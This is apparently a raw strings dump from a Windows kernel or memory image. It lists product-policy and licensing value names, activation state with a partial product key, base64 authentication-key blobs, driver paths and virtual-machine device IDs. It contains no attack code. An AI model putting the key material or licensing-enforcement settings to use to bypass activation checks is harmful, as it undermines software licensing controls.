FailoverCluster-IsStretchS2DAllowed Feeds-AllowFeeds-Enabled FileExplorer-DisableLibraries FileExplorer_Recommendations_Available FileSystems-ReFs-Enabled FileSystems-ReFsV1-Enabled FilterManager-Require-WCOS-Compat-Flag ForceTimeSyncTask-OOBEUserLogonComplete Games-AllowBroadcasting Games-AllowDisablingGameMonitoring GroupPolicy-License-DomainIncapableSystem GroupPolicy-License-NetworkWaitTimeoutInSeconds GroupPolicy-License-WaitForNetwork Handwriting-Enabled HealthAttestationCSP-UseSecTask HelpPane-UrlOverrideEnabled HubOS-Activated HybridComputeFramework-Enabled IASLicensing-allowSubnetSyntax IASLicensing-maxClient IASLicensing-maxServerGroups IIS-W3SVC-MaxConcurrentRequests InboxApps-Install-Prepackaged InkAnalysisPerfEventsLicensing-MyPolicyName InstallAgent-AllowGPOForBlockingStore IntegratedServices-RegionPolicy-EnforcePolicies Internet-Browser-License-LicensedPartnerID Kernel-BrandingInfo0 Kernel-DynamicPartitioningSupported Kernel-EditionNameProfessional Kernel-ExpirationDate Kernel-Fingerprint-Verification-Disabled Kernel-MUI-Language-AllowedEMPTY Kernel-MUI-Language-DisallowedEMPTY Kernel-MUI-Language-SKUen-US;en-AU;en-CA;en-GB;en-HK;en-IE;en-NZ;en-SG;ar-SA;pt-BR;zh-TW;zh-CN;zh-HK;zh-SG;cs-CZ;da-DK;el-GR;es-AR;es-CL;es-CO;es-ES;es-MX;es-US;fi-FI;fr-BE;fr-CA;fr-CH;fr-FR;de-AT;de-CH;de-DE;he-IL;hu-HU;it-IT;ja-JP;ko-KR;nl-BE;nl-NL;nb-NO;pl-PL;pt-PT;ru-RU;sv-SE;tr-TR;bg-BG;hr-HR;et-EE;lv-LV;lt-LT;ro-RO;sr-Latn-CS;sr-Latn-RS;sk-SK;sl-SI;th-TH;uk-UA;fy-NL;qps-ploc;qps-plocm;qps-Latn-x-sh Kernel-MUI-Number-Allowed Kernel-MaxPhysicalPage Kernel-MemoryMirroringSupported Kernel-NLS-ExcludedNationsList-Allowed Kernel-NativeVHDBoot Kernel-NonGenuineNotificationStringIds Kernel-NonGenuineNotificationType Kernel-OneCore-DeviceFamilyID Kernel-OneCore-VailGuest Kernel-PersistDefectiveMemoryList Kernel-ProductInfo0 Kernel-ProductInfoLegacyMapping Kernel-ProductType Kernel-RegisteredProcessors Kernel-SkipOOBE Kernel-VirtualDynamicPartitioningSupported Kernel-WindowsMaxMemAllowedArm Kernel-WindowsMaxMemAllowedArm64 Kernel-WindowsMaxMemAllowedx64 Kernel-WindowsMaxMemAllowedx86 LSA-Policy-DisableBuiltinAdminByDefault LSA-Policy-DisableBuiltinGuestByDefault LSA-Policy-EnableCredentialIsolation LSA-Policy-EnableCredentialIsolationConfiguration LSA-Policy-EnableTrustedDomains LSA-Policy-RunAsProtectedProcessLight M365CopilotPinningCampaign-Allowed MF-SLPolicy-HMFTMeritValidationRequired MF-SLPolicy-PMPSessionInProcess MF-SLPolicy-SkipOPMVerification MSAudDecMFT-AACDecoderV3AddIn MSAudDecMFT-AACDecoderV3AddInEnable MSAudDecMFT-AACDecoderV3InSKU MathRecognizerEventsLicensing-EnableMathRecognizer Microsoft-Windows-CertificateServices-CA-AdvancedTemplateSupport Microsoft-Windows-CertificateServices-CA-CertificateManagerRestrictionSupport Microsoft-Windows-CertificateServices-CA-CrossForestEnrollmentSupport Microsoft-Windows-CertificateServices-CA-ExitModuleSMTPSupport Microsoft-Windows-CertificateServices-CA-RoleSeparationSupport Microsoft-Windows-Container-License-Mode Microsoft-Windows-Core-AllowMultiMon Microsoft-Windows-Core-AllowedControlledDevicesForBoot12 Microsoft-Windows-Core-NeedsFullOEMVerification1 Microsoft-Windows-Core-THQAEnabled Microsoft-Windows-CoreSystem-Wlansvc-EnableOnDemandScan Microsoft-Windows-CoreSystem-Wlansvc-SoftAPEnable Microsoft-Windows-DOT11PREF-AllowAdhoc Microsoft-Windows-Defender-AntivirusAllowed Microsoft-Windows-DesktopWindowManager-Core-AnimatedTransitionsAllowed Microsoft-Windows-DesktopWindowManager-Core-Flip3dAllowed Microsoft-Windows-DesktopWindowManager-Core-LivePreviewAllowed Microsoft-Windows-DesktopWindowManager-Core-TransparencyAllowed Microsoft-Windows-Fax-Common-DeviceLimit Microsoft-Windows-Fax-Common-EnableServerPolicy Microsoft-Windows-HVSI-Enabled Microsoft-Windows-HgsClient-Wmi-Licensing-HgsClientEnabled Microsoft-Windows-Hyper-V-AllowDynamicCpuClusterCompatibility Microsoft-Windows-Hyper-V-AllowGpuForClusteredVms Microsoft-Windows-Hyper-V-IsHciSku Microsoft-Windows-IE-InternetExplorer-SupportEnableAutoUpgrade Microsoft-Windows-InternetConnectionSharingConfig-HomeNetBeacon Microsoft-Windows-InternetConnectionSharingConfig-HomeNetICS Microsoft-Windows-OfflineFiles-Core-BranchCachingEnabled Microsoft-Windows-OfflineFiles-Core-FeatureEnabled Microsoft-Windows-OptionalFeatures-UI-Enabled Microsoft-Windows-ProximityMessaging-RtApi-App2Device Microsoft-Windows-ProximityMessaging-RtApi-Reconnect Microsoft-Windows-ProximityMessaging-RtApi-SubscriptionTracking Microsoft-Windows-QWAVE-EnableAdaptiveFlow Microsoft-Windows-QWAVE-Layer3Probing Microsoft-Windows-Sandbox-Enabled Microsoft-Windows-Security-NGC-AllowRemoteNGC Microsoft-Windows-SensorsLicense-EnableCPL Microsoft-Windows-VPN_Prelogon_IsAllowed Microsoft-Windows-Virtualization-Win32Containers-Supported Microsoft-Windows-W32Time-License-SecurityRuntime Microsoft-Windows-WaasMedic-Enable-Remediations Microsoft-Windows-WinNat-Licensing-EnableDNS64 Microsoft-Windows-WinNat-Licensing-EnableNAT64 Microsoft-Windows-WinNat-Licensing-EnableXLAT Microsoft-Windows-netsetupsvc-license-Flpp6InUpperRange Microsoft-Windows-netsetupsvc-license-UpperFilters Microsoft-Windows-nwifi-license-OptimizeNotifications Microsoft.Windows.Smc-Enabled MicrosoftWindowsSafeDocsMain-BackupToNetShare MicrosoftWindowsSafeDocsMain-GPSupport MicrosoftWindowsSafeDocsMain-PerUserBackup MobilePCMobilityCenter-EnableMobilityCenter MobilePCPresentationSettings-EnablePresentationSettings Mobility-MobilityExperienceAllowed NcaSvc-License-Enabled NetworkProfile-License-CostEnabled NetworkSecurity-IKE-Kerberos NetworkSecurity-IKE-LowMemorySystem NetworkSecurity-IPsecDoSProtection-EnabledPolicy Networking-MPSSVC-Svc-License-NetIsolationOnly NlaSvc-Licensing-LANIds-BSSIDRetrieval-Enabled NlaSvc-Licensing-LANIds-LLDPDriver-Enabled NlaSvc-Licensing-LANIds-Service-Enabled OOBE-Disable-ExpeditedUpdate OOBE-Disable-SkipMSA OOBE-Disable-SkipNetwork OOBE-Disable-SkipOneDrive OOBE-Disable-Voice OOBE-License-AllowSecondChanceOobe OOBE-Reconnect-Network OOBE-ServerIsClient OOBE-Skip-CloudBackupRestore OOBE-Skip-OEMRegistration OOBE-Skip-PhonePairing OneDrive-B SILicensing-CALDefaultStandard-Count SILicensing-CALEnfCheck-Count SILicensing-CALEnfCheckEnabled SILicensing-CALEnfCheckFailureTolerationForCorrectiveAction-Count SILicensing-CALEnfCheckInitialGrace-Count SILicensing-CALEnfCheckRunInSafeMode SILicensing-CALEnfCheckShutdownTolerationLimit-Count SILicensing-CALTemporaryPremiumDevice-Count SILicensing-CALTemporaryPremiumUser-Count SILicensing-CALTemporaryStandardDevice-Count SILicensing-CALTemporaryStandardUser-Count SILicensing-CheckInterval-Mins SILicensing-DCCheck-Count SILicensing-DCCheckEnabled SILicensing-DCCheckFailureTolerationForCorrectiveAction-Count SILicensing-DCCheckInitialGrace-Count SILicensing-DCCheckRunInSafeMode SILicensing-DCCheckShutdownTolerationLimit-Count SILicensing-DependencyCheckRetryCount SILicensing-DependencyWaitInterval-Secs SILicensing-ExternalChecks-Count SILicensing-ExternalChecksEnabled SILicensing-ExternalChecksFailureTolerationForCorrectiveAction-Count SILicensing-ExternalChecksInitialGrace-Count SILicensing-ExternalChecksRunInSafeMode SILicensing-ExternalChecksShutdownTolerationLimit-Count SILicensing-ExternalDllNameWSSLicMgmtClient.dll SILicensing-FSMOCheck-Count SILicensing-FSMOCheckEnabled SILicensing-FSMOCheckFailureTolerationForCorrectiveAction-Count SILicensing-FSMOCheckInitialGrace-Count SILicensing-FSMOCheckRolesMask SILicensing-FSMOCheckRunInSafeMode SILicensing-FSMOCheckShutdownTolerationLimit-Count SILicensing-FTCheck-Count SILicensing-FTCheckCorrectiveAction SILicensing-FTCheckEnabled SILicensing-FTCheckFailureTolerationForCorrectiveAction-Count SILicensing-FTCheckInitialGrace-Count SILicensing-FTCheckRunInSafeMode SILicensing-FTCheckShutdownTolerationLimit-Count SILicensing-GraceTemporary-Days SILicensing-InitialGraceAllowedCount SILicensing-LaunchNotifier SILicensing-MaxCALs-Count SILicensing-NonDMCheck-Count SILicensing-NonDMCheckEnabled SILicensing-NonDMCheckFailureTolerationForCorrectiveAction-Count SILicensing-NonDMCheckInitialGrace-Count SILicensing-NonDMCheckRunInSafeMode SILicensing-NonDMCheckShutdownTolerationLimit-Count SILicensing-PrimeCheck-Count SILicensing-PrimeCheckEnabled SILicensing-PrimeCheckFailureTolerationForCorrectiveAction-Count SILicensing-PrimeCheckInitialGrace-Count SILicensing-PrimeCheckRunInSafeMode SILicensing-PrimeCheckShutdownTolerationLimit-Count SILicensing-PrimeCountCheck-Count SILicensing-PrimeCountCheckEnabled SILicensing-PrimeCountCheckFailureTolerationForCorrectiveAction-Count SILicensing-PrimeCountCheckInitialGrace-Count SILicensing-PrimeCountCheckRunInSafeMode SILicensing-PrimeCountCheckShutdownTolerationLimit-Count SILicensing-PrimeServerCount SILicensing-PrimeServerIndicator SILicensing-RootDomainCheck-Count SILicensing-RootDomainCheckEnabled SILicensing-RootDomainCheckFailureTolerationForCorrectiveAction-Count SILicensing-RootDomainCheckInitialGrace-Count SILicensing-RootDomainCheckRunInSafeMode SILicensing-RootDomainCheckShutdownTolerationLimit-Count SILicensing-UserCountCheck-Count SILicensing-UserCountCheckADAllowed SILicensing-UserCountCheckADTolerance SILicensing-UserCountCheckEnabled SILicensing-UserCountCheckFailureTolerationForCorrectiveAction-Count SILicensing-UserCountCheckInitialGrace-Count SILicensing-UserCountCheckLocalAllowed SILicensing-UserCountCheckLocalTolerance SILicensing-UserCountCheckRunInSafeMode SILicensing-UserCountCheckShutdownTolerationLimit-Count SLC-Component-SKU-OCUR-OCURControlContentAllowed SMB1Deprecation-Enabled SMBClient-AllowInsecureGuestAuthByDefault SMBClient-AllowRdmaUsage SMBClient-RequireSigningByDefault SMBServer-AllowHashPublication SMBServer-AllowRdmaUsage SMBServer-AllowRemoteLegacyShadowCopyAccess SMBServer-AllowRemoteShadowCopyAccess SMBServer-InvalidAuthenticationDelayTimeInMs SMBServer-ListenOverQUIC SMBServer-RequireSigningByDefault SMBServer-WindowsMaxInSMBConns SMR-HostManaged-Enabled Search-DynamicSearchBox-Enabled Search-ManageWebSearch-Enabled Search-WebSearch-Enabled SecureStartupFeature-Disabled-AutomaticDeviceEncryption SecureStartupFeature-Enabled SecureStartupFeature-Enabled-DeviceEncryption SecureStartupFeature-Enabled-DeviceEncryption-BlockRevert SecureStartupFeature-Enabled-Driver SecureStartupFeature-Enabled-PreInstall SecureStartupFeature-Enabled-Premium SecureStartupFeature-PerfWarning Security-SPP-Action-StateDataAppId=55c92734-d682-4d71-983e-d6ec3f16059f;LastConsumptionReason=0xc004f034;LastNotificationId=NeverActivated;LicenseState=SL_LICENSING_STATUS_NOTIFICATION;PartialProductKey=3V66T;ProductKeyType=Retail;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;ruleId=31e71c49-8da7-4a2f-ad92-45d98a1c79ba;uxDifferentiator=RETAIL Security-SPP-ActivationResetCount Security-SPP-ActivationResetCountMax Security-SPP-AllowBrandingOverride Security-SPP-AllowOSReactivation Security-SPP-AllowStoreGetGenuine Security-SPP-ApplicationActivationResetCount Security-SPP-ApplicationActivationResetCountMax Security-SPP-AzureArcIotSubscription Security-SPP-AzureArcSubscription Security-SPP-AzureArcValueAddedSubscription Security-SPP-AzureImdsResponse Security-SPP-CMIDExpirationPeriod Security-SPP-EvaluationModeEnabled Security-SPP-FlexibleClip-IndependentActivation Security-SPP-FlexibleClipEnabled Security-SPP-GenuineLocalStatus Security-SPP-IACountedIdList Security-SPP-IgnoreOAMarkerVersion Security-SPP-KmsCountedIdList Security-SPP-LastWindowsActivationHResult Security-SPP-LastWindowsActivationTime Security-SPP-LowerEventLogType-DeferredState Security-SPP-ProductType Security-SPP-Reserved-IAAuthenticationKeyo8SSv/EBs8rqhGavBcqlARU9vkhlA8k3uuMw+yJ4euCvhvDB3UKsi8veT8crtfg7VX8ZIGVqCG4OFDm8X9M+P1ZTTyJWuMBnmcKzf4GNdHmkFdxJ2ZD8KKhN8IOMkM7732jL72Ncr9wLrGY3if1AlWxH/PfW4DlYJFwuJTIgeJU= Security-SPP-Reserved-IAAuthenticationKeyTestxCF2keDbBzFBBetbNjI5tdcw/3DHcDXmc+VgqFyQmSEnCFLmOSKwKcoVgFj9TOu+2niz45b4p/DZ02CKm0fzJWHrIobpa77lyh1NA1zCpsuuyIF0gYtHY5CtnmKWu1/z8TiyJEgWWxnHvXQbK+3KTGzLaPrmILejhg0+TJt2CYA= Security-SPP-Reserved-SkuPpdConsumed Security-SPP-Reserved-TBLProductKeyType Security-SPP-Reserved-TBLRemainingTime Security-SPP-Reserved-TBLState Security-SPP-SModeEditionLocked Security-SPP-ServerGraceEnabled Security-SPP-ServerGraceValue Security-SPP-SharedLicense Security-SPP-StoreUpgradeTargetEditions Security-SPP-TokenActivation-AdditionalInfo Security-SPP-WriteWauMarker Security-SSP-DisableProductKeyChange Security-System-Capability-appManagementSystemIU Security-System-Capability-bluetoothDeviceSettingsIU Security-System-Capability-capabilityAccessConsentDeviceSettingsDO Security-System-Capability-dateAndTimeDeviceSettingsDO Security-System-Capability-deviceIdentityManagementIU Security-System-Capability-deviceProvisioningAdministratorDO Security-System-Capability-displayDeviceSettingsIU Security-System-Capability-keyboardDeviceSettingsIU Security-System-Capability-languageAndRegionDeviceSettingsIU Security-System-Capability-networkDeviceAdminSettingsDO Security-System-Capability-networkDeviceSettingsIU Security-System-Capability-notificationsDeviceSettingsIU Security-System-Capability-personalizationDeviceSettingsIU Security-System-Capability-powerDeviceSettingsIU Security-System-Capability-projectionDeviceSettingsIU Security-System-Capability-updateAndSecurityDeviceSettingsDO Security-System-Capability-userManagementSystemDO Server-Shell-Settings-WindowsInsiders-Enabled ServicingStack-License-GenericUpdateStrings-Enabled ServicingStack-License-ReservedStorageAllowed ServicingStack-License-Support-MicrosoftCrossRoot-Signature ServicingStack-License-Support-WHQL-Signature Settings-ServerIsClient SettingsCommercialHomePage-Available Shell-Animations-Enabled-First-SignIn Shell-ConfigureChatIcon-State Shell-Federated-Authentication-Allowed Shell-GamingOverlayExperienceManager-Enabled Shell-InBoxGames-FreeCell-EnableGame Shell-InBoxGames-Hearts-EnableGame Shell-InBoxGames-Minesweeper-EnableGame Shell-InBoxGames-PurblePlace-EnableGame Shell-InBoxGames-Shanghai-EnableGame Shell-InBoxGames-Solitaire-EnableGame Shell-InBoxGames-SpiderSolitaire-EnableGame Shell-MultiplayerInboxGames-Backgammon-EnableGame Shell-MultiplayerInboxGames-Checkers-EnableGame Shell-MultiplayerInboxGames-Common-EnableGame Shell-MultiplayerInboxGames-Spades-EnableGame Shell-PremiumInBoxGames-Chess-EnableGame Shell-Settings-BrowserDefaults-Enabled Shell-Settings-Privacy-DiagnosticsFeedback-DDVSilentInstall Shell-Settings-ValueBanner-Enabled Shell-Transparency-Effects-Enabled-First-SignIn Shell-UserIntentDevicePersonalization-Enabled Shell-VirtualDesktop-Enabled Shell-WinXMenu-Enabled Shell-WindowTabHost-Enabled Shell-Windowing-LimitSnappedWindows Shell-Windowing-ShowMaximized SnippingToolLicensing-Enabled Start-DeferAllAppsInitialization StartMenu-ShowWindowsTools StickyNotesLicensing-Enabled Storage-Should-Avoid-LocalStorage StorageReplica-Standard-Restriction StorageSpaces-ClusterThinProvisioningEnabled Store-PrivateStoreOnly-Enabled SystemReset-Cleanpc-Enabled TCPIP-SecondaryAppMetaDataSocketOption TSProxy-EdgeAdapter-MaxConnections TabletPC-MathInputLicensing-EnableMathInput TabletPC-tabbtn-EnableButtons TabletPCAccessories-EnableJournal TabletPCAccessories-EnableStickyNotes TabletPCInputPanel-EnableTIP TabletPCInputPanel-EnableTIPSynced TabletPCPlatformInput-core-EnableTouchUI TabletPCPlatformInput-core-MultiTouchGestures TabletPCPlatformInput-core-SFP Taskbar-Pinning-Recommendations Taskmgr-ServerIsClient Telemetry-ProcessorModeAllowed TelemetryPermission-AllowDisable TelemetryPermission-DefaultLevel Telnet-Client-EnableTelnetClient TerminalServices-ADD-Licensing TerminalServices-DeviceRedirection-Licenses-CameraRedirectionAllowed TerminalServices-DeviceRedirection-Licenses-PnpRedirectionAllowed TerminalServices-DeviceRedirection-Licenses-TSAudioCaptureAllowed TerminalServices-DeviceRedirection-Licenses-TSEasyPrintAllowed TerminalServices-DeviceRedirection-Licenses-TSMFPluginAllowed TerminalServices-RDP-7-Advanced-Compression-Allowed TerminalServices-RemoteApplications-ClientSku-RAILAllowed TerminalServices-RemoteConnectionManager-0f0a4bf8-8362-435d-938c-222a518a8b78-Disabled TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-LocalOnly TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-MaxSessions TerminalServices-RemoteConnectionManager-8dc86f1d-9969-4379-91c1-06fe1dc60575-InitialProgram%SystemRoot%\ehome\mcrmgr.exe TerminalServices-RemoteConnectionManager-8dc86f1d-9969-4379-91c1-06fe1dc60575-MaxSessions TerminalServices-RemoteConnectionManager-AllowAppServerMode TerminalServices-RemoteConnectionManager-AllowD3DRemoting TerminalServices-RemoteConnectionManager-AllowMultimon TerminalServices-RemoteConnectionManager-AllowMultipleSessions TerminalServices-RemoteConnectionManager-AllowRemoteConnections TerminalServices-RemoteConnectionManager-AutomatedAppServerInstallation TerminalServices-RemoteConnectionManager-MaxUserSessions TerminalServices-RemoteConnectionManager-WVD-Enabled TerminalServices-RemoteConnectionManager-b7857721-7a62-4a37-aff3-253fe2b8b0e8-MaxSessions TerminalServices-RemoteConnectionManager-cd051c59-3fe7-499c-9b66-02d99dbd8d3b-MaxSessions TerminalServices-RemoteConnectionManager-ce0ad219-4670-4988-98fb-89b14c2f072b-MaxSessions TerminalServices-RemoteConnectionManager-d8d584dc-e21f-4bd4-b923-6fc03943d7de-MaxSessions TerminalServices-ServerDeviceRedirection-Licenses-WPFPrintingRedirectionAllowed TiffIFilterLicensing-EnableTiffIFilter Timeline-ShowAllActivities-Override-Enabled UMDF-WINPE-ENABLED UpdatePolicy-UpdateManagementGroup UserOOBE-Allowed-SignIn-Identity VirtualPC-licensing-Enabled VirtualXP-licensing-Enabled Virtualization-ActivateCloud Virtualization-AllowInheritance Virtualization-InheritedActivation VmSwitch-SwitchEmbeddedTeaming-Enabled WAM-MultipleAppPackageWithWebAccountProvider-Allowed WCOS-Headless-Sku-Based-Image WMPPlayer-HMEAllowed WMPPlayer-RMEAllowed WMPPlayer-RMESecurityGroupAllowed WSLicensingService-AllowDisablingStoreApps WSLicensingService-EnableLOBApps WSLicensingService-LOBSideloadingActivated WSW-Consumer-Policy WSW-Policy-Win11Surface WebServices-ListenerApiInAppContainer WebView2-EvergreenExcludedForEdition Windows.Globalization.License-TextSuggestionApi-DgmlRootNameComponentLayoutsDesktop Windows.Globalization.License-TextSuggestionApi-LangResourcesInstalledByDefault Windows.Globalization.License-TextSuggestionApi-SupportedLanguagesForConversionja-JP;zh-Hans-CN; Windows.Globalization.License-TextSuggestionApi-SupportedLanguagesForPredictionja-JP;zh-Hans-CN; Windows.Globalization.License-TextSuggestionApi-SupportedLanguagesForReverseConversionja-JP; Windows.Networking.ServiceDiscovery.DnsSd.License-CctMobileCore WindowsAccountControl-Available WindowsAnytimeUpgrade-CanUpgrade WindowsCopilot-Available WindowsCopilot-IsCommercial WindowsInkWorkspace-Enabled WindowsPushNotifications-License-WpnMobileCore WindowsSearchComponent-ComponentInstalled WindowsStore-Enabled WindowsStore-Verbs-Available WorkstationService-DomainJoinEnabled appid-EnableV2 configmanager2-License-BlockedProviderList0$AccountManagement;0$dynamicmanagement;0$entepriseappvmanagement;0$unifiedwritefilter;0$SvchostProcessMitigation;0$deviceupdatecenter;0$optionalfeatures;0$PDE configmanager2-License-ConfigSourceCspFilter-EnterpriseDataProtection deviceregistration-MaximumUsers dmenrollengine-Allowed-Enrollments dmenrollengine-EnrollUnenrollUX-Allowed dmenrollengine-MDMOnlyUX-Allowed ystem|Games|Handwriting|HumanPresence|InternetExplorer|Kerberos|KioskBrowser|Knobs|LanmanServer|LanmanWorkstation|Licensing|LocalPoliciesSecurityOptions|LocalSecurityAuthority|LocalUsersAndGroups|Lockdown|Maps|MemoryDump|MSSecurityGuide|MSSLegacy|Multitasking|NetworkIsolation|NetworkListManager|NewsAndInterests|Notifications|OneDrive|OOBE|Power|Printers|Privacy|RemoteAssistance|RemoteDesktopServices|RemoteDesktop|RemoteManagement|RemoteProcedureCall|RemoteShell|RestrictedGroups|Search|SecureBoot|Security|Settings|SettingsSync|SmartScreen|Speech|Start|Storage|Sudo|System|SystemServices|TaskManager|TaskScheduler|TenantRestrictions|TextInput|TimeLanguageSettings|Troubleshooting|Update|UserRights|VirtualizationBasedTechnology|WebThreatDefense|WiFi|WindowsLogon|WirelessDisplay|Location|TurnOffWindowsCopilot|DisableAIDataAnalysis|SetCopilotHardwareKey|AllowRecallEnablement|DisableClickToDo|DisableImageCreator|DisableCocreator|DisableGenerativeFill|WindowsAutopilot|WindowsConnectionManager|WindowsDefenderSecurityCenter|WindowsInkWorkspace|WindowsPowerShell|WindowsSandbox|WiredNetwork|ADMX_ enterprisemgmt_policymanager-License-UserRightsNoNameMapping explorer-AeroAnimationAllowed explorer-AeroShakeAllowed explorer-AlwaysShowRunAsDifferentUser explorer-ClientLoginExperienceAllowed feclient-EfsEnabled feclient-EfsEnabledBasic feclient-EfsUserCacheLimit hevcdecoder-HEVCVideoDecoderV1AddIn hevcdecoder-HEVCVideoDecoderV1AddInEnable hevcdecoder-HEVCVideoDecoderV1InSKU iuilp-DefaultLauncherLayoutBase iuilp-SkipRequiredAppsCheck microsoft-windows-virtualization-licensing-EnableHyperVReplica msac3enc-DolbyDigitalEncoderV3AddIn msac3enc-DolbyDigitalEncoderV3AddInEnable msac3enc-DolbyDigitalEncoderV3InSKU msmpeg2adec-AACDecoderV2AddIn msmpeg2adec-AACDecoderV2AddInEnable msmpeg2adec-AACDecoderV2InSKU msmpeg2adec-DolbyDigitalDecoderV3AddIn msmpeg2adec-DolbyDigitalDecoderV3AddInEnable msmpeg2adec-DolbyDigitalDecoderV3InSKU msmpeg2enc-MPEG2VideoEncoderV3AddIn msmpeg2enc-MPEG2VideoEncoderV3AddInEnable msmpeg2enc-MPEG2VideoEncoderV3InSKU msmpeg2vdec-H264VideoDecoderV2AddIn msmpeg2vdec-H264VideoDecoderV2AddInEnable msmpeg2vdec-H264VideoDecoderV2InSKU msmpeg2vdec-MPEG2VideoDecoderV3AddIn msmpeg2vdec-MPEG2VideoDecoderV3AddInEnable msmpeg2vdec-MPEG2VideoDecoderV3InSKU msoobe-FirstLogonAnim-MayBeDisabled nfs-admincmdtools-enabled nfs-adminmmc-enabled nfs-clientcmdtools-enabled nfs-clientcore-enabled nfs-server-databox-disabled nfs-servercmdtools-enabled nfs-servercore-enabled parentalcontrols-EnableFeature provsvc-license-HomeGroupCreate shell-homegroup-Enabled shell32-license-GroupPolicy-TryHarderPinned shell32-license-ShowBackupReminder shell32-license-ShowProductNameOnDesktop shell32-license-UseBingAsDefaultSearchProvider transmog-CanTransmogDC volmgrx-SupportDynamic volmgrx-SupportMirror volmgrx-SupportRaid5 wvr-servercore-enabled {6296CE48-18F7-47B6-848A-7E8E56FADD6F} OneDrive.exe 26.17.126.2 OneDrive.exe 26.17.126.2 /*M4H>%R9Ckaf\ 4H>%R9Ckaf\ \SystemRoot\system32\hal.dll \SystemRoot\system32\drivers\pdc.sys \SystemRoot\system32\kd.dll \SystemRoot\system32\mcupdate_GenuineIntel.dll \SystemRoot\system32\PSHED.dll \SystemRoot\System32\drivers\CLFS.SYS \SystemRoot\System32\drivers\tm.sys SetSystemTime SeImageVerificationDriverInfo \SystemRoot\System32\drivers\ACPI.sys \SystemRoot\system32\symcryptk.dll \SystemRoot\System32\drivers\WMILIB.SYS \SystemRoot\System32\drivers\cng.sys DebugObject \SystemRoot\System32\Drivers\acpiex.sys Type \SystemRoot\system32\drivers\wd\WdBoot.sys \SystemRoot\System32\drivers\amdwps.sys \SystemRoot\system32\drivers\WindowsTrustedRT.sys Directory \SystemRoot\System32\drivers\atapi.sys \SystemRoot\System32\drivers\ataport.SYS \SystemRoot\System32\drivers\stornvme.sys \SystemRoot\System32\drivers\fileinfo.sys Phase1InitComplete Profile Mutant \SystemRoot\system32\DRIVERS\vsock.sys \SystemRoot\System32\drivers\vmci.sys \SystemRoot\System32\drivers\hwpolicy.sys \SystemRoot\System32\drivers\storahci.sys \SystemRoot\System32\drivers\storport.sys SeImageVerificationBlockInfo EnlightenmentState Timer \SystemRoot\System32\drivers\disk.sys Desktop \GLOBAL?? DosDevices \SystemRoot\System32\drivers\volmgrx.sys \SystemRoot\system32\drivers\WppRecorder.sys BcdSyncMutant IoCompletion .sys \SystemRoot OSDataRoot OSDataDevice PhysicalMemory KernelObjects SystemRoot MemoryPartition0 BasicRender ALPC Port LicensingData CpuPartitions DriverStore BasicRender.sys MemoryErrors MemoryErrors DriverStores TmEn SYSTEM REGISTRY Section ArcName Device Security Nodes TmRm \REGISTRY\MACHINE\SYSTEM ACPI\PNP0001\4&1bd7f811&0 USB\ROOT_HUB\5&2891968b&0 \Device\BootDevice\WINDOWS ACPI\PNP0303\4&1bd7f811&0 \REGISTRY\MACHINE\DRIVERS ACPI\PNP0B00\4&1bd7f811&0 \REGISTRY\MACHINE\HARDWARE ACPI\PNP0103\4&1bd7f811&0 SWD\MIDISRV\MIDIU_APP_TRANSPORT ACPI\VMW0003\4&1bd7f811&0 SWD\MSRRAS\MS_AGILEVPNMINIPORT ACPI\PNP0A05\4&1bd7f811&0 :WofCompressedData USB\ROOT_HUB30\5&11106705&0&0 ACPI\PNP0800\4&1bd7f811&0 ROOT\NdisVirtualBus\0000 USB\ROOT_HUB20\5&36a4b5d6&0 ACPI\PNP0A03\2&daba3ff&0 SWD\MSRRAS\MS_SSTPMINIPORT ACPI\FixedButton\2&daba3ff&0 SWD\PRINTENUM\PrintQueues SWD\MIDISRV\MIDIU_DIAG_PING SWD\MSRRAS\MS_PPTPMINIPORT SWD\MSRRAS\MS_NDISWANIPV6 :WofCompressedData Event Tracing for Windows LSA_AUTHENTICATION_INITIALIZED SWD\MSRRAS\MS_PPPOEMINIPORT HighNonPagedPoolCondition ACPI\PNP0100\4&1bd7f811&0 ACPI\PNP0200\4&1bd7f811&0 SWD\MSRRAS\MS_L2TPMINIPORT SWD\COMPUTER\MFG_VMware__Inc.&PROD_VMware20_1 \REGISTRY\MACHINE\SYSTEM\ControlSet001 USB\VID_0E0F&PID_0003&MI_01\7&bcbfcc2&0&0001 \REGISTRY\MACHINE\DRIVERS\DriverDatabase StdShowItem HID\VID_0E0F&PID_0003&MI_01\8&34ace767&0&0000 \ArcName\multi(0)disk(0)rdisk(0)partition(3) Unidentified Driver (Sleep Idle State Disabled) HID\VID_0E0F&PID_0003&MI_00\8&217ccb29&0&0000 DISPLAY\Default_Monitor\1&8713bca&0&UID0 DISPLAY\Default_Monitor\4&427137e&0&UID0 USB\VID_0E0F&PID_0003&MI_00\7&bcbfcc2&0&0000 MicrosoftWindows.Client.CBS_cw5n1h2txyewy *WorkflowServiceHostPerformanceCounters.dll .WorkflowServiceHostPerformanceCounters.dll.mui Device Driver WaitCompletionPacket File \SystemRoot\system32\mcupdate_GenuineIntel.dll Global GLOBALROOT \SystemRoot\System32\drivers\IntelPMT.sys \SystemRoot\System32\drivers\pcw.sys \SystemRoot\System32\drivers\cng.sys \SystemRoot\System32\drivers\cng.sys \Device\OSDataDevice HighMemoryCondition \SystemRoot\System32\drivers\FLTMGR.SYS HighMemoryCondition LowCommitCondition \SystemRoot\system32\BOOTVID.dll \SystemRoot\system32\drivers\ndis.sys \SystemRoot\System32\Drivers\Kerb3961Kernel.sys \SystemRoot\System32\drivers\volume.sys Session Process Thread Partition UserApcReserve IoCompletionReserve HighPagedPoolCondition LowPagedPoolCondition \SystemRoot\System32\drivers\ACPI.sys \SystemRoot\System32\drivers\pci.sys \SystemRoot\system32\drivers\wd\WdBoot.sys \Device\OSDataDevice IoRing \Callback\LicensingData TmTm \SystemRoot\System32\drivers\tm.sys \SystemRoot\System32\Drivers\Wof.sys \SystemRoot\system32\PSHED.dll ci.dll \SystemRoot\system32\kd.dll LowMemoryCondition \SystemRoot\System32\drivers\ksecdd.sys LowMemoryCondition \SystemRoot\System32\drivers\clipsp.sys \SystemRoot\System32\drivers\EhStorClass.sys ActivityReference Event ProcessStateChange ThreadStateChange IRTimer CpuPartition SchedulerSharedData PsSiloContextPaged GLOBAL?? PsSiloContextNonPaged TpWorkerFactory TmTx \SystemRoot\system32\ntoskrnl.exe KernelObjects ObjectTypes 